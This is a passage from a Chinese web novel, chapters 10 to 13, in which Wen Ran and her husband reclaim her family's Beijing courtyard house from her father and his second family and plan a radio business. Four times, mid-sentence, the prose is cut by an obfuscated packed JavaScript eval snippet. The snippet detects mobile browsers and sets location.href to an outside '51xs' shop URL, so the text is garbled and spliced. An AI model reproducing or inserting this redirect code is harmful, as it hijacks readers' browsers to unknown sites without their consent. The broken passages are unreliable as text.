就好像在这个家里她们不存在一样,被忽视得彻底。 霍骁北打开手电筒,温苒左看看宋爱民灭了灯的房间,右看看温宝昌还亮着灯的房间,计上心头。 她扯扯霍骁北的袖子,给他一个眼神,然后走向北屋门口。 霍骁北默契地跟上,握拳梆梆锤了两下门。 一片沉静里,两下叩门声吸引了这间房子里所有人的关注。 但过了几秒,无人开门。 霍骁北耳力过人,听得到北屋里细碎的声响。 他凑近温苒耳边,小声道:“在装睡。” 装睡没关系,醒着就行。 反正温苒也不是要见到人。 温苒清清嗓子,大声喊:“爸!我爷爷和妈妈留下两份工作,我和霍骁北打算去厂里工会办一下交接手续,你看你有时间能带我们过去吗?” 砰—— 铛—— 咚—— 空气死寂了两秒,而后就仿佛诈尸一般骚动起来。 丢下一颗地雷温苒就不管了,拽着霍骁北小跑回了南屋。 北屋,闫春芝震惊到顾不上伪装,掐着温宝昌的手臂,疾言厉色质问:“怎么办?死丫头要抢我们娘俩儿的工作!温宝昌你绝对不能就这么由着她胡闹!” 温宝昌老脸阴沉,猛地甩开她两手,“我能有什么办法?你们的工作本来就是那俩人留下来的,小野种去厂里要说法一要一个准!” 更别说现在政策变了,老东西以前那些有本事的朋友又有本事了,温苒真找上门去那些人能无动于衷? 温宝昌想到了温慧刚死那年,蓦然从心底涌上恐惧,他几乎是下意识的,一扬手照着闫春芝脸上甩过去,“还不是你,你说你干什么非跟那丫头过不去?惹她不高兴了,现在好了,你工作没了!” 闫春芝捂着抽痛的脸,不敢置信地看着温宝昌。 他竟然敢打她? “温宝昌!” 她嗷一声挥着爪子扑上去,下一秒温宝昌从脸到脖子就多了几道血痕子。 “我跟你十几年,担着骂名都给你生儿子你就是这么对我的?” 温宝昌抹了把脸,拿下手一看满是血,顿时也怒了,又是一耳光甩过去。 “你个泼妇!” 恩爱夫妻大打出手,模范老公一耳光又一耳光,贤惠妻子一爪子又一爪子。 北屋里简直比过年还热闹。 10. 第 10 章 老的在闹,儿子也在闹。 宋爱民一个打挺弹坐起来,怒容满面,扭头抬起脚就给旁边陈招娣踹下了床。 咚—— 陈招娣结结实实摔了个七仰八叉,胳膊肘正好杵地上,疼得她直接懵在原地。 没等她反应过来,随即一张棉被兜头遮下,伴随着力道沉重的拳头,又把她打懵了。 这屋倒是又热闹又安静,外人不清楚里面发生了什么。 南屋。 温苒泡着脚数钱,不满地嘟囔:“他们也太抠门了,把厨房锁上连炉子都用不了。” 这热水还是从潘奶奶家灌满带回来的。 霍骁北听着对面屋里噼里啪啦的动静,轻笑道:“明天就能看笑话了。” 温苒数完钱收起来,“明天有场硬仗要打!” 临睡前,温苒隐约听到隔壁门响了下,再之后窗外传来了清浅的脚步声。 应该是宋爱民出去了。 次日,温苒起了个大早,其他屋都还没动静。 洗漱完去前院,吃过曲平安买的早饭,和曲伯伯去胡同口等周爱民出现,一行五人就奔着房管所去了。 周爱民关系不错的朋友的亲戚是房管所一个主任,昨天下了班听爱人说温苒找好了见证人,晚饭都顾不上吃就去找了那个朋友。 两人约好在房管所外头见面。 有周爱民的朋友带领,一行人进了房管所直接办理手续。 工作人员先检查了房契地契,看过曲胜利的工作证明,又让他和温苒去写一份书面见证,最后摁上手印,接着温苒再填写了一张表格,就让下午过来领取房产所有证。 众人离开房管所,找了个饭店吃晌午饭。 霍骁北大手笔点了几道硬菜,还要了瓶酒,几个男同志都小小喝了两杯。 周爱民的朋友一直陪到回房管所拿房屋证。 进了办事大厅,你说巧不巧,嚯,温宝昌在这儿! 再一看,何德民也在,温志伟也在,还有几个生面孔不认识。 几人对视一眼,周爱民和曲胜利的眉心皱得能夹死苍蝇。 曲平安也觉得不太妙,不过他一转头就看见夫妻俩淡定自若的表情,转念一想出声安慰他爸:“咱们手续都办完了,他们来了又能怎么样?” 话虽如此,但不到最后一刻谁知道会发生什么变故? 曲胜利心里的大石头提到了嗓子眼,整个人的气势严阵以待起来,“待会儿你机灵点,吵起来记得跟你妹子打配合,也别让人碰到她。” 温宝昌带这么多人,看来是有备而来。 不过温苒的关注点先落在了他五彩缤纷的老脸上。 只是提了下工作就打成这样,那要是房子真到了她手里,温宝昌这帮人该不会明天就进医院吧? 温宝昌自然也看到了温苒等人,他阴沉着表情,从齿缝里愤怒地挤出一句冷笑:“呵!真是小看你了!” 温苒笑盈盈的,嗓音清脆:“那是因为你眼睛被闫大娘打肿了,所以只能从缝里看人,自然就把人看扁了。” 曲平安啪一下捂住嘴。 他很想,但现在这个场合不适合。 小苒这嘴怎么跟淬了毒一样哈哈哈! 听见这话,温宝昌脸皮不自然地抽动两下,他可不觉得好笑。 他开门见山说道:“你一个女同志,又嫁了人,家产就跟你没关系了,你说呢?” 温苒眨了眨杏眼,“你一个倒插门的,又再婚了,放在一般人家就是女同志改嫁,前妻的家产就跟你没关系了,你说呢?” 这年头可没有什么夫妻共同财产之说,温宝昌倒插门一分钱没带进来那自然一分钱也不能带走。 略略略,这就叫以其人之道还治其人之身。 温宝昌气得脸色涨红,鼻子都差点歪了。 倒插门倒插门,这野种怎么敢这么说她老子,她怎么就没死在乡下? 温宝昌拳头攥了起来。 霍骁北轻咳一声,冷峻的眼神瞥了过去。 温宝昌理智回笼,收起了冲动。他可知道,这野种找的男人以前在部队当兵,真动手他是铁定吃亏的。 见最疼自己的老爹气个够呛,温志伟站了出来,气愤地瞪着温苒。 “你就是这么跟长辈说话的?你——” 温苒抢白道:“你什么你?这里什么时候有你一个外人说话的份了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283797|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温志伟跳脚反驳,“你才是外人!你一个嫁出去的女人泼出去的水,有什么资格插手家里的财产?” 这个曲平安可有话说了,他一直瞅着机会表现呢。 “你没听温苒刚才说的,嫁出去的人泼出去的水明明是你爸才对!” 这话一出,迎来温宝昌父子的怒视。 曲平安不仅不怕,反而冲俩人咧嘴笑,笑得欠欠儿的,父子俩更气了。 温宝昌气得浑身颤抖,给了何德民一个眼神。 何德民有点不情不愿地开口:“丫头啊,做人不能太贪心。你爸虽然是上门女婿,可做得委实仁至义尽,给你爷爷送终,又把你养大了嫁人,这没有功劳也有苦劳。你一个嫁出去的女同志,自该住在你男人家里,院里房子空着也是空着,正好你爸这一大家子呢,房子给你爸表表孝心么这不是?” 这可真是睁眼说瞎话,站着不腰疼,屁股歪到温宝昌心坎上去了。 温苒也不气,跟这种人有什么可气的? 温苒声音清亮:“何大爷说得对,但你怎么就知道我是嫁人不是招赘呢?” 众人:“?!” 在场一个个瞪大了眼睛,目光唰一下齐齐集中在了霍骁北身上。 顶着这么多人震撼错愕的眼神,霍骁北面不改色,颔首肯定道:“嗯,我也是上门女婿,我都听我爱人的。” 这态度这气度,一点看不出来勉强。 跟温宝昌那一副好像受了奇耻大辱的反应一比,高下立现。 温苒还有话没说呢,“我爷爷只有我妈一个孩子,我妈只有我一个孩子,我妈是招赘上门,我也是招赘上门。” 她说着盯紧何德民,何德民神色讪讪,两手抄进袖子里,干笑两声道:“家里这不是有志伟,用不着你一个女同志招赘。” 温苒等的就是这句话,她状似惊讶地挑挑眉,接着好似想到什么一般迅速冷下脸色。 “什么意思?” “温志伟是温宝昌亲生的?” “周叔叔,我们现在就去通机厂找领导,温宝昌当年在和我妈的婚姻存续期间和闫春芝乱搞男女关系,作风不正,这是工人阶级的败类!这样的人怎么能留在通机厂?” 11. 第 11 章 对面以温宝昌为代表一下就慌了。 我跟你扯皮呢,你转头去找警察了? 厂领导不是警察,但这年头城里工人遇到事就找厂领导,乡下百姓遇到事就找大队干部,可比警察好使多了。 温苒转身往外走,偏偏周爱民还二话不说就跟上。 周爱民是谁,建国后第一批大学生,备受厂领导看重的青年干部。 他还曾经在温有良手下学过钳工,有过一份师徒情谊。 甚至这人据说和温慧有过那么一段,只不过因为家里反对没成,再之后温慧就找了一穷二白的穷小子温宝昌做上门女婿。 这样一个处处比自己优秀的男同志,温宝昌每每想到都觉得自惭形秽,并因此油然而生出强烈的嫉妒愤怒。 温宝昌嫉妒,温宝昌愤怒,但温宝昌也做不了什么。 他只能无能狂怒。 就像现在—— 温苒明显不是省油的灯,再加上周爱民为她在厂领导面前背书,温宝昌可以确信这房子与自己无缘了。 而他明知道会如此,却什么也做不了。 视若囊中之物的东西不属于自己了,温宝昌心疼到仿佛刀绞一般,大吼出声:“站住!” 温苒充耳不闻,继续走。 温宝昌急了,吼得更大声:“我让你们站住!” 温苒这才停下来回头,冷着脸,“温同志想要一起去见厂领导?” 温宝昌咬牙死死瞪着她。 野种!野种!这贱丫头一定是温慧和周爱民偷生的野种! 温苒淡定地回望。 越是没底气才越是虚张声势,温宝昌这表现是知道怕了。 他当年干的那点破事儿又不是无人知晓,正相反因为温有良过世他过于得意忘形导致本性爆发得彻底,不然也不能让闫春芝挺着肚子就上了门。 胡同里没有秘密,何况是这种几近于昭告天下的新闻,温宝昌没那个本事堵住所有人的嘴。 再一次,温宝昌后悔得能吞下十斤后悔药,后悔当年老东西死了自己一时无所顾忌就张扬起来。 不过他不怪自己,他只怪闫春芝那个泼妇。 要不是她当初在自己耳边絮叨着肚里怀的儿子,要不是闫春芝恶毒成性气死温慧,要不是温苒回城后闫春芝毫无容人之量,事情不会走到今天这一步! 那可是整整三间房子! 温宝昌心里仿佛滴血一般。 温宝昌一直不说话,温苒没耐心了,收回眼神抬脚继续往外走。 温宝昌反应过来,阴沉沉地开了口:“房子归你!” 温苒一秒收回踏出大门的脚,“本来就是我们老温家的。” 温志伟不干了,“爸!爸!你不是说房子只能是我的?爸她抢了我的房间又抢我们家的房子凭什——” 温宝昌转头冲儿子低吼:“住口!” 温志伟不敢置信,“爸!“ 温宝昌一把拽住他的胳膊往外拖,拉长着脸,“听爸的,咱们先走。” 温志伟挣扎着甩开温宝昌,神情不忿,“明明是你答应过的!房子只能我的!现在被别人抢了我连家都没有了让我同学知道了怎么看我?” 温宝昌强撑着耐心,“厂里正在分房,会有房子住的,新盖好的房子比破院子条件好。” 一旁何德民嫌弃地撇嘴,破院子,你也说得出口? 你嫌弃你别要啊! 不过不管咋说,温宝昌是把温志伟给劝住了。 父子一行人气势冲冲地来,气焰全无地离开。 这群人一走,温苒就和全程吃瓜的办事员打听,“没有地契房契怎么把房子过户?这是符合规定的吗?会不会有侵吞公有财产的嫌疑?” 办事员愣了下,反应过来抿了口茶才回答温苒的疑问,“有你说的那种情况,但刚才你、” 想到刚才父女两个箭弩拔张跟仇人也没两样的架势,办事员换了个称呼,“刚才那个同志不是这种情况,他跟我们单位一个办事员串通好了,计划补办一个租赁证明,用租赁证明购入房产。” 说到这儿,她竖起手掌在脸上,笑得幸灾乐祸,“这不今天你们来办手续,那办事员去通风报信喊来了你爸,我们主任一眼就瞧出有猫腻,那小子就等着吃不了兜着走吧!” 温苒:“……” 啊这,哪有搬石头砸自己脚的,这办事员也太蠢了。 顺利拿到房产证明,一行人也没散,径直去了通机厂家属院。 郝红梅准备了一桌好菜庆祝。 吃饱喝足回胡同的路上,曲平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283798|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安还说起这件事呢。 霍骁北攥着温苒的手塞兜里替她暖着,说道:“他蠢只是一方面。” 温苒补充:“他还贪心!” 曲胜利抄着手,嫌弃地踢了脚儿子一脚,“你多学着点!” 曲平安没躲过去,苦着脸揉屁股,一边在心里嘀咕那不还是蠢么,一边求助地看向温苒。 思及这位邻家大哥在房管所时跟她同仇敌忾的场面,温苒适时转移话题,“曲伯伯,房管所的办事员说有租赁证明补上差价可以换房产证明,你们家另一间屋子住了二十多年,应该能直接换房产证明。” 曲平安一听连忙点头,“就是就是,还是房产证明更靠谱,换了也更踏实。” 房子租着租着就成了个人所有。 这年头鲜少有人买房,这也是重要原因之一。 曲胜利咂咂嘴,表情思索道:“那我把这事和院里人都说说,换个证明也不费多大功夫。” 租和有总归是有本质不同的。 说着话到了胡同口,温苒停下来,“伯伯您先回吧,我们还有点事。” 曲胜利也没问是啥事,只嘱咐道:“别在外面逗留太晚了。” 目送他进了大院,温苒对曲平安道:“平安哥,你回去帮我们探探情况。” 曲平安懵懵的,“什么情况?” 温苒微笑,“我房子里的情况。” 你瞅瞅,这丫头多嘚瑟,不说‘我家’说‘我的房子’。 曲平安:“……” 曲平安挠头,“你家能有,哎——” 他顿住,拍了下自个脑门,突然恍然大悟,“说不定真有情况!” 温苒纠正:“是一定。” 就那伙人,想当然地把本该属于别人的东西当做他们自己的,怕是还从来没想过会有这么一天。 而即便真的有了这么一天,他们恐怕还觉得自己是受害者,温苒则是可恶的强盗。 曲平安颠颠儿回去看热闹了。 两人找了个背风的地儿等着,小声商量接下来的计划。 房子到手还远不是胜利,也远不是结束。 温苒可不相信温宝昌真那么有气度,说把房子让出来就把房子让出来,这没皮没脸的老东西肯定会仗着身份赖着不走的。 12. 第 12 章 蹲着累人,霍骁北取出小马扎给温苒坐着。 温苒缩在一团,仰头看着他:“待会儿平安哥问起来怎么办?” 霍骁北挡在她身前,把风都拦在外头,面不改色:“买的。” 温苒:“……” 温苒拽了拽他袖子,“你过来点,我冷。” 霍骁北挪着小马扎靠过去,把人包进军大衣里暖着。 说回正事,温苒道:“我觉得可以把宋爱民一家先赶出去。” 霍骁北沉吟片刻,说:“剧情里这间房子先到了他手上。” 温苒歪头,“嗯?” 她蹙起眉思索。 温宝昌可以用租赁证明替换房产证明,宋爱民自然也可以用这种办法。 也就是说,宋爱民也想这间房子,他甚至比温宝昌更需要。 温宝昌是厂里几十年的老技术工,分房怎么也该有他的名额。 宋爱民可不是,宋爱民的工作可是占了温苒那俩份其中之一的! 现在温苒又要工作又要房子,宋爱民怕是恨死她了。 温苒:“……” 一直都在跟温宝昌较劲,差点忘了还有这个人。 “我怎么把给他忘了?” 温苒嘟囔着,懊恼地伸出爪子,挠了挠手下硬邦邦的胸膛。 “不过,”温苒随即正色,“我一开始就没把这个人当成阻碍,有温宝昌和温志伟在,怎么也轮不到他的。” 主角父子在她这里都讨不了好,宋爱民又凭什么想从她手里拿东西呢? 霍骁北道:“光明正大他没办法,可能会用别的手段。” 温苒从他怀里出来,“别的手段?” 霍骁北低声:“我只是猜测。我们刚回来两天,对这个人几乎不了解,我也不确定他会做什么。” 温苒绷紧小脸,垂下眼睫沉思,“很有可能。他想要房子也想要工作,房子已经没有了,还有工作他肯定想保住。” 霍骁北顺着她的思路推测下去,“拿钱跟你买?或者,威胁你把工作继续让给他。” 温苒鼓腮,不解道:“他想怎么威胁我?他难道还有我的什么把柄?” 等等! 温苒顿住,没有把柄可以创造把柄啊! 巷子口出现一个黑影,左右来回张望,看到这里小跑着过来。 温苒戳戳霍骁北,“平安哥来了。” 霍骁北没回头,指了指旁边的马扎,“坐这儿说吧。” 曲平安裹挟着一股冷风靠近,一屁股坐下来,兴冲冲道:“我听潘奶奶说的,闫大娘和温师傅干了一架!” 温苒从霍骁北身前的大衣里冒出一双眼睛,“你回去的时候还打吗?” 曲平安摇脑袋,“那没有,他们晌午后开始闹的,现在院里那叫一个安静。不过我听说打得挺惨的,温师傅头发都被薅秃了,闫大娘肚子挨了一脚,摔了个大跟斗。” 那现在是,温苒摸着下巴,“他们应该谈好了?” 曲平安有点不理解,“这间房子本来就是有良大爷留下来的,有温苒你在,跟他们有什么关系?他们竟然也闹得起来?” 温苒哼道:“人心不足嘛。” 曲平安叹了声气,发愁道:“我爸让我提醒你,说温师傅他们可能不会轻易搬走。” 温苒和霍骁北早就有所预料,对此一点也不意外。 曲平安见俩人没反应,嗓子噎了噎,随即又颓丧得想,得,肯定是早就猜到了! “那你们打算怎么办?” 温苒戳了戳霍骁北的腰侧,霍骁北不动声色摁住她,镇定自若地向曲平安询问:“宋爱民是什么样的人你清楚吗?” 曲平安抄起两手,仰着头回想,“宋爱民啊,在院里挺不显眼。” 他抓抓脸,“这人我没咋接触过,他比我们大几岁,小时候他也不跟我们几个玩,不过我知道他跟温志伟挺不对付的。” 那就没办法了。 温苒和霍骁北对视一眼,只能走一步看一步了。 拎上小马扎回家! 温苒砰砰砰再次敲响北屋大门,这次很快门就开了。 温宝昌沉着脸,“这么晚才回来,是去哪里乱跑了?” 他脸上带彩,一只乌眼青一片大血缕,头发还跟被狗啃过似的。 温苒想笑,听见他的话又有些无语,导致她的表情一时都有些扭曲了。 好半晌她才开口,“温同志,你们打算什么时候搬走?我计划要把家里重新打扫一遍,去去晦气。” 温宝昌瞬间拉长脸,呵斥道:“我是你老子!你想赶你老子走?不孝顺的东西!” 温苒假笑,“哦,那除你这个老子之外,其他人明天就搬走吧。” 温宝昌愣了下,反应过来脸色涨红,“你——” 他的权威一而再再而三地被温苒冒犯,又是在这间代表着他重大失误的房子里,怒火上头他下意识高举起了手掌。 但下一秒,他高举的手腕就传来了一阵钻心的疼。 霍骁北轻而易举打断了他的行动,平静的脸上面无表情,却只有温宝昌知道他力气有多大。 温苒有恃无恐地笑着,“不搬走那我就只好去找厂里领导为我主持公道喽!” 温宝昌疼得冷汗直冒,他此时的表情才叫扭曲,瞪着霍骁北咆哮:“放开!我也是你老子!” 霍骁北轻飘飘松开,温宝昌却感觉一股大力把自己甩了出去,一时没站稳,左脚绊右脚哐当摔了个大屁股墩儿。 温苒抿紧唇,靠近了霍骁北。 不能笑不能笑。 温宝昌表情空白了片刻,反应过来脸色涨红,指着霍骁北怒骂:“你一个赘婿你反了天了!不孝东西我让死丫头休了你……” 他叭叭叭一顿吼,霍骁北连个眼神都没给,牵着温苒转身就走。 温宝昌看见她俩这反应,差点儿没给气厥过去。 温苒指着厨房门趾高气扬,“明天就把锁换了。” 厨房旁边就是宋爱民一家的房间,她顺道瞅了两眼。 洗漱泡脚钻进帐篷,温苒刚躺下,身后就贴上来一片滚烫。 温苒小身板颤了颤,怂兮兮地缩进被子,“我好累,我要睡了。” 炙热的呼吸在她锁骨上游移,霍骁北哑着嗓音,“刚才在外面你不是在暗示我?” 温苒心虚一秒,很快就是气愤占了上风,那是报复!报复! 前天晚上,这个狗男人亲完撩拨完就不管了,她倒了一箩筐好听的话,结果他竟然拿她一开始‘等事情办完再说’的那句话堵她?! 可恶! 温苒冷酷地推开这人,“睡觉!” 霍骁北:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283799|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 拿到房子的第二天,大清早的,无人问津的南屋迎来了第一位客人。 霍骁北从帐篷里把温苒拔出来,温苒顶着呆滞的眼神,站在门口听宋爱民苦苦地哀求: “小苒妹子行行好,给大哥宽限几天,大哥还得上班,没时间搬东西也没时间找房子,你看等这周放假成不成?” 温苒迷茫的眼睛一下子睁大了。 她点了点头,转身关上门,抬头看着霍骁北,表情严肃:“有阴谋!” 剧情里能先温宝昌一步把房子弄到手,宋爱民又怎么能是省油的灯? 温苒都做好了要费一番功夫的准备,结果宋爱民这么轻易就跟她说会搬走,这可能吗? 不对劲。 很不对劲。 绝对有阴谋! 温苒也不睡了,换衣服洗漱,拽上霍骁北就出了胡同,“我们去一趟通机厂,问问工作的事情。” 霍骁北站定,带着她一起停下,“先吃早饭,吃完早饭再去通机厂。” 夺回工作不比夺回房子,房子是哪怕被温宝昌抢先一步过户,温苒依旧能凭借两份契书拿回来的。 而工作就难了,工作交接须得两方都在场,他们不配合温苒是办不了手续的。 不过么,温苒也不着急,反正都撕破脸了,直接闹去领导那里不是更好? 现在最重要的是吃饭! 要一碗热馄饨一碗红枣粥,一屉肉包一屉肉饺,热乎乎连汤下肚,吃饱了才有力气办正事。 点完餐,霍骁北带温苒找了个角落坐下。 “如果想拿回工作,户口迁移得尽快办好,不然可能会影响分房。” 这触及到温苒的知识盲区了,什么户口这个关系那个关系的,就算是这个年代土生土长的老百姓都不一定能弄明白。 温苒头疼地问:“那、那我们今天去办,能办好吗?” 霍骁北给她科普,“所有证明我们在秦北时就准备齐全,只需要去派出所办理,有曲伯伯在他不会为难我们。” “不过跨省市户口迁移是耗时最长的,虽然你是知青回城,但最早也要两三周才能办妥。” 温苒:“……” 是了是了,后世电脑普及建立了全国范围的户籍系统办个迁移都难呢,她刚读大学时同学们可是狠狠吐槽过,现在全靠手写的年代就更别提了。 但是再慢也得办,光速解决早饭,温苒又拽着霍骁北去了派出所。 先办户口! 曲胜利帮她们办的,咔咔盖章叫一个利索,还亲自去了劳动局送材料。 离开派出所,接着飞速转移到通机厂,跟……看门大爷打听消息。 没有本厂职工带领,外人是进不了生产区域的。 这个年代的国营厂,尤其像通机厂这样的大厂子,除了生活物资需要从外界获取外,内部就像一个可以独立运行的机构。 厂区里面有医院有学校有可以处理厂内部纠纷的安保科,一应职能部门可谓应有尽有。 加之通机厂承担了一部分军工制造功能,所以对外管理上十分严格。 打听到疑似下个月正式开始分房的消息后,温苒两人去了通机厂家属大院。 和平拿回工作是不指望了,必须得闹到领导面前。 所以还得麻烦周叔叔,让他带她们进厂。 13. 第 13 章 在家属院待到傍晚,温苒见到了周爱民。 周爱民道:“这个事不难,我可以先带你们去见厂长,跟他说说你们的情况。” “不过小苒你想清楚了,温宝昌他们还赖在房子里不肯走,你这时候把工作拿回来,他们可就更有理由赖下了。” 跟一帮无赖讲道理是行不通的,逼急了他们光脚不怕穿鞋的,跟你闹死闹活,到时温苒有理也变没理。 老百姓办事讲个中庸,尤其在胡同里,你有理人家帮你,可你要把事情做绝了你就成了众矢之的。 温苒沉吟道:“我想到了。” 所以今早宋爱民说请她宽限几天,明知他们有阴谋,她还是答应了。 知道这孩子心里有数,周爱民点点头,“厂里下个月开始分房,没个把月名单下不来,你慢慢筹谋就是。有困难不要自己扛,尽管过来找我和你红梅姨。另外这边儿的事情我跟厂长通个气,分房不会落下你们。” 既然如此,那拿回工作的事情就不急了,当前最要紧的是怎么把那群人赶出去。 回到六片儿胡同,西厢灯亮着,大门却紧闭。 温苒和霍骁北直接推门进去,瞥了一眼北屋房门,就和霍骁北回南屋去了。 北屋。 温宝昌和闫春芝靠在炕上,宋爱民坐在桌前凳子上。 宋爱民一副老实样,愁眉苦脸的,“爸,厂里马上要分房,您和我妈还有我的工龄加起来,应该能分一间大房子,可要是……” 闫春芝苍白着接过儿子的话头:“宝昌哥你想想办法,死丫头够贪心的,抢了房子还不算,还想抢工作!” “咱家要认购厂里房子得花一大笔钱,说不定存款掏空了还得四处去借!要是连工作都丢了,咱们一大家子要去喝西北风吗?再说志伟也到年纪了,他考上大学紧接着就是找对象,对方是大学生,咱家肯定不能办得太寒碜给志伟丢脸吧?这孩子结了婚马上就有孙子,孙子吃吃喝喝更要钱啊!” 温宝昌扶着腰,老脸阴沉着,“你们说该怎么办?” 说实话他不是很在意工作会不会被温苒夺回去,他在意的房子,是他身为一家之主的权威! 要是能阻止温苒抢工作,他就能压过这个女儿的气焰,在妻子和继子心里的地位也就能更高。 宋爱民想了想,说道:“爸,那丫头这么嚣张还是仗着有人撑腰,别的人咱们没法子,她带回来的那个男人咱们可以想想办法。” “让他们内讧,咱们才有可趁之机。” 闫春芝一听就再赞同不过,面目狰狞狠戾,“没了那男人撑腰,我看死丫头还怎么猖狂?” 她语气兴奋:“正好我认识几个媒婆,赶紧给这丫头介绍个人家把她远远打发出去!” 温宝昌神色动了动,却道:“不行!还是得招赘!” 闫春芝不满地皱眉,利索呛声:“不行!我不同意!死丫头跟咱们全都不对付,让她留在跟前我连饭都吃不下!” 温宝昌重重一拍桌子,喝道:“我说什么你听着就是!你个蠢货!就是因为你自作主张沉不住气,到手的房子才能飞了!” “现在房子在那丫头手里,你怎么知道给她找的人家不会贪图咱们这房子?” 闫春芝气得胸脯剧烈起伏,但到底憋屈得闭上了嘴。 她也不想房子便宜别人。 宋爱民垂着眼睛,安静坐着一言不发,半点儿没有要为母亲出头的意思。 温宝昌点了根烟,吧嗒吧嗒抽了两口,才道:“爱民,这事交给你去办。就别告诉志伟了,他正在准备高考,为这些事情分心不值当。” 宋爱民眼底闪过嫉恨,嘴上却应得很痛快:“我知道,爸,志伟是有大出息的,这点小事犯不上让他操心。” 南屋。 帐篷里,温苒和霍骁北趴在被窝里叨叨接下来的计划。 当然主要是温苒在说,霍骁北在听。 主动出击暂时是不行了,现在的策略是以静制动。 再等几天,看看对面到底要出什么幺蛾子。 温苒猜测多半是故技重施,像让她下乡那次给她扣顶恶毒的帽子,而他们就扮演受害者在胡同里卖惨,并趁机向她勒索好处。 又过一夜,这天温苒和霍骁北没有出门。 上午换洗床单被套,下午就着签到系统给的书整理分类。 以静制动也不是干等着。 她们早有办厂做生意的打算,第一款产品已经想好就卖收音机,现在得计划计划了。 午饭和晚饭都是在对门潘奶奶家吃的,借她家的炉子焖了一锅红烧肉,当是伙食费。 西厢厨房的锁头温苒暂时没动。 宋爱民说宽限他几天,温苒就顺势假装信以为真从而放松警惕,也好迷惑对方。 转天两人依旧没出门,叫上曲平安把南屋好好拾掇了一番。 不过到了晚上依旧睡的是帐篷。 忙整天出了一身脏汗,去澡堂洗干净,回来时三人转道去上次的羊肉馆子吃涮羊肉。 曲平安关心道:“明天放假,温师傅他们会搬走吗?” 温苒摇头,“当然不会。温宝昌是打定主意赖下了,我要是把他赶走,街道办第二天就该来人了。” “至少在通机厂分房以前,我只能由着他继续住。” 曲平安叹气,“那工作是不是也难办了?他们都没搬走,你现在把工作拿回来,他们岂不是更有理由赖下了?不说别人,后院何大爷最近跟温师傅走得很近,闹起来恐怕不会偏向你。” 就是街道办也一样,一样和稀泥。他们可不管有理没理,谁豁得出去他们就偏向谁。 到时候温宝昌要是仗着年纪大,一把菜刀横脖子上提要求,温苒不答应街道办都得帮她答应。 反正不是他们自家的事,别人吃亏就吃了,吃亏是福,家和才能万事兴嘛! 温苒夹了筷子羊肉蘸麻酱,吃完喝口水清清嗓子,才回道:“房子彻底夺回来前,暂时不拿工作,但得让他们知道我想抢工作。” 虽然分房的事情没有很着急,房子和工作可以慢慢谋划,但能快点解决最好快点解决,腾出精力来好为办厂做准备。 所以得逼温宝昌他们一把,逼急了他们才会急匆匆出手,届时自然漏洞百出。 “那,那你们打算把工作卖了,去鹏城是真的吗?”曲平安问。 霍骁北下了把面条,回答他:“工作不卖了,通机厂这一次分房我们打算认购一套房子,卖工作不合适。” 温苒吃着肉点头,“停薪留职。” 这年头体制内下海经商都这个套路,停薪留职,万一失败了还有份工作保底。 曲平安好奇,他抓心挠肺地好奇了一整个星期,“那你们打算做什么?” 温苒言简意赅:“办厂,做生意。” 曲平安先愣住,后激动地放下筷子,目光在对面俩人脸上来回,搓着手问:“做什么生意?” 温苒想了想,“电子厂或者电器厂吧,先卖收音机,后面陆续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283800|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开发新产品。” 曲平安张大了嘴,“收、收音机?” 收音机是个大件,还是正经的需要工业票才能买的东西。 他下意识道:“自己组装吗?” 温苒跟看傻子一样看着他,“当然不是了,是办厂,不是小作坊。” 曲平安懵逼地点头,张嘴只会:“啊,哦,那、那那……” 结果那了半天也没那出个结果来。 温苒就问他:“你要不要跟我们一起,反正留在——”长京也只能当个临时工。 话还没说完,曲平安就扑棱扑棱一顿狂点脑袋,“去去去去去!” 他咧着嘴角,“那咱们什么时候去鹏城?” 温苒估算了一下,“那得下半年了。鹏城我们都是第一次去,人生地不熟的,我打算在长京做出收音机的模型。你认识人多,零件方面就麻烦你了。” 曲平安神情振奋,“没问题!包在我身上!” 长京市各种机械厂钢厂扎堆,拿钱购买或者定制零件真不是难事。 说不定碰到哪个厂子更新生产线,淘汰下来的机器她们改一改也能凑合接着用呢。 